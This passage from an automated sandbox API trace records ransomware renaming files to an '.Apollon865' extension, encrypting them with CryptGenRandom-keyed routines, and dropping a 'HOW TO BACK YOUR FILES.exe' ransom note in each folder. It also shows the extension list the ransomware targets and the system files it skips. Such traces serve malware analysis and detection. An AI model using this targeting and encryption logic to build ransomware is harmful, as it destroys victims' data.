	[0039.853] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0039.853] lstrlenW (lpString="scx") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0039.853] lstrlenW (lpString="sdb") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0039.853] lstrlenW (lpString="sdc") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0039.853] lstrlenW (lpString="sdf") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0039.853] lstrlenW (lpString="sis") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0039.853] lstrlenW (lpString="spq") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0039.853] lstrlenW (lpString="te") returned 2
	[0039.853] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0039.854] lstrlenW (lpString="teacher") returned 7
	[0039.854] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0039.854] lstrlenW (lpString="tmd") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0039.854] lstrlenW (lpString="tps") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0039.854] lstrlenW (lpString="trc") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0039.854] lstrlenW (lpString="trc") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0039.854] lstrlenW (lpString="trm") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0039.854] lstrlenW (lpString="udb") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0039.854] lstrlenW (lpString="udl") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0039.854] lstrlenW (lpString="usr") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0039.854] lstrlenW (lpString="v12") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0039.854] lstrlenW (lpString="vis") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0039.854] lstrlenW (lpString="vpd") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0039.854] lstrlenW (lpString="vvv") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0039.854] lstrlenW (lpString="wdb") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0039.854] lstrlenW (lpString="wmdb") returned 4
	[0039.854] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0039.854] lstrlenW (lpString="wrk") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0039.854] lstrlenW (lpString="xdb") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0039.854] lstrlenW (lpString="xld") returned 3
	[0039.854] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0039.854] lstrlenW (lpString="xmlff") returned 5
	[0039.854] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0039.855] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Recorded TV\\desktop.ini.Apollon865") returned 50
	[0039.855] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0039.858] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0039.858] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=80) returned 1
	[0039.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0039.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0039.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0039.858] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0039.859] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0039.859] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0039.859] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x158
	[0039.883] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0039.900] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0039.900] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0039.900] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0039.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0039.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0039.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0039.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0039.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0039.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0039.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0039.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0039.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0039.901] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0039.901] CloseHandle (hObject=0x158) returned 1
	[0039.901] CloseHandle (hObject=0x15c) returned 1
	[0039.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0039.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0039.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0039.903] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d95c050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.903] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.903] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d9821b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="Apollon865.txt.exe") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2=".") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="..") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="windows") returned -1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="bootmgr") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="temp") returned -1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="pagefile.sys") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="boot") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="ids.txt") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="ntuser.dat") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="perflogs") returned 1
	[0039.903] lstrcmpiW (lpString1="Sample Media", lpString2="MSBuild") returned 1
	[0039.903] lstrlenW (lpString="Sample Media") returned 12
	[0039.903] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\desktop.ini") returned 39
	[0039.903] lstrcpyW (in: lpString1=0x119e640, lpString2="Sample Media" | out: lpString1="Sample Media") returned="Sample Media"
	[0039.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0039.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5983a8
	[0039.904] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0039.904] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d9821b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0
	[0039.904] FindClose (in: hFindFile=0x5ca1d0 | out: hFindFile=0x5ca1d0) returned 1
	[0039.904] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0039.904] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Recorded TV\\Sample Media", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media"
	[0039.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0039.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.904] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\Sample Media") returned 40
	[0039.904] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Recorded TV\\Sample Media" | out: lpString1="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media"
	[0039.904] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.904] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\sample media\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0039.904] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0039.904] GetLastError () returned 0x0
	[0039.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0039.905] ReadFile (in: hFile=0x148, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0039.905] CloseHandle (hObject=0x148) returned 1
	[0039.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0039.905] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.905] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d9821b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca1d0
	[0039.905] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.905] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.905] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.905] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d9821b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.905] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.905] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.905] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.905] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.905] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0039.905] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0039.906] lstrlenW (lpString="desktop.ini") returned 11
	[0039.906] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\Sample Media\\*") returned 42
	[0039.906] lstrcpyW (in: lpString1=0x119e65a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0039.906] lstrlenW (lpString="desktop.ini") returned 11
	[0039.906] lstrlenW (lpString="Apollon865") returned 10
	[0039.906] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0039.906] lstrlenW (lpString=".dll") returned 4
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0039.906] lstrlenW (lpString=".lnk") returned 4
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0039.906] lstrlenW (lpString=".ini") returned 4
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0039.906] lstrlenW (lpString=".sys") returned 4
	[0039.906] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0039.906] lstrlenW (lpString="desktop.ini") returned 11
	[0039.906] lstrlenW (lpString="bak") returned 3
	[0039.906] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0039.906] lstrlenW (lpString="ba_") returned 3
	[0039.906] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0039.906] lstrlenW (lpString="dbb") returned 3
	[0039.906] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0039.906] lstrlenW (lpString="vmdk") returned 4
	[0039.906] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0039.906] lstrlenW (lpString="rar") returned 3
	[0039.906] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0039.906] lstrlenW (lpString="zip") returned 3
	[0039.906] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0039.906] lstrlenW (lpString="tgz") returned 3
	[0039.906] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0039.906] lstrlenW (lpString="vbox") returned 4
	[0039.907] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0039.907] lstrlenW (lpString="vdi") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0039.907] lstrlenW (lpString="vhd") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0039.907] lstrlenW (lpString="vhdx") returned 4
	[0039.907] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0039.907] lstrlenW (lpString="avhd") returned 4
	[0039.907] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0039.907] lstrlenW (lpString="db") returned 2
	[0039.907] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0039.907] lstrlenW (lpString="db2") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0039.907] lstrlenW (lpString="db3") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0039.907] lstrlenW (lpString="dbf") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0039.907] lstrlenW (lpString="mdf") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0039.907] lstrlenW (lpString="mdb") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0039.907] lstrlenW (lpString="sql") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0039.907] lstrlenW (lpString="sqlite") returned 6
	[0039.907] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0039.907] lstrlenW (lpString="sqlite3") returned 7
	[0039.907] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0039.907] lstrlenW (lpString="sqlitedb") returned 8
	[0039.907] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0039.907] lstrlenW (lpString="xml") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0039.907] lstrlenW (lpString="$er") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0039.907] lstrlenW (lpString="4dd") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0039.907] lstrlenW (lpString="4dl") returned 3
	[0039.907] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0039.908] lstrlenW (lpString="^^^") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0039.908] lstrlenW (lpString="abs") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0039.908] lstrlenW (lpString="abx") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0039.908] lstrlenW (lpString="accdb") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0039.908] lstrlenW (lpString="accdc") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0039.908] lstrlenW (lpString="accde") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0039.908] lstrlenW (lpString="accdr") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0039.908] lstrlenW (lpString="accdt") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0039.908] lstrlenW (lpString="accdw") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0039.908] lstrlenW (lpString="accft") returned 5
	[0039.908] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0039.908] lstrlenW (lpString="adb") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0039.908] lstrlenW (lpString="adb") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0039.908] lstrlenW (lpString="ade") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0039.908] lstrlenW (lpString="adf") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0039.908] lstrlenW (lpString="adn") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0039.908] lstrlenW (lpString="adp") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0039.908] lstrlenW (lpString="alf") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0039.908] lstrlenW (lpString="ask") returned 3
	[0039.908] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0039.908] lstrlenW (lpString="btr") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0039.909] lstrlenW (lpString="cat") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0039.909] lstrlenW (lpString="cdb") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0039.909] lstrlenW (lpString="ckp") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0039.909] lstrlenW (lpString="cma") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0039.909] lstrlenW (lpString="cpd") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0039.909] lstrlenW (lpString="dacpac") returned 6
	[0039.909] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0039.909] lstrlenW (lpString="dad") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0039.909] lstrlenW (lpString="dadiagrams") returned 10
	[0039.909] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0039.909] lstrlenW (lpString="daschema") returned 8
	[0039.909] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0039.909] lstrlenW (lpString="db-journal") returned 10
	[0039.909] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0039.909] lstrlenW (lpString="db-shm") returned 6
	[0039.909] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0039.909] lstrlenW (lpString="db-wal") returned 6
	[0039.909] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0039.909] lstrlenW (lpString="dbc") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0039.909] lstrlenW (lpString="dbs") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0039.909] lstrlenW (lpString="dbt") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0039.909] lstrlenW (lpString="dbv") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0039.909] lstrlenW (lpString="dbx") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0039.909] lstrlenW (lpString="dcb") returned 3
	[0039.909] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0039.910] lstrlenW (lpString="dct") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0039.910] lstrlenW (lpString="dcx") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0039.910] lstrlenW (lpString="ddl") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0039.910] lstrlenW (lpString="dlis") returned 4
	[0039.910] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0039.910] lstrlenW (lpString="dp1") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0039.910] lstrlenW (lpString="dqy") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0039.910] lstrlenW (lpString="dsk") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0039.910] lstrlenW (lpString="dsn") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0039.910] lstrlenW (lpString="dtsx") returned 4
	[0039.910] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0039.910] lstrlenW (lpString="dxl") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0039.910] lstrlenW (lpString="eco") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0039.910] lstrlenW (lpString="ecx") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0039.910] lstrlenW (lpString="edb") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0039.910] lstrlenW (lpString="epim") returned 4
	[0039.910] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0039.910] lstrlenW (lpString="fcd") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0039.910] lstrlenW (lpString="fdb") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0039.910] lstrlenW (lpString="fic") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0039.910] lstrlenW (lpString="flexolibrary") returned 12
	[0039.910] lstrlenW (lpString="fm5") returned 3
	[0039.910] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
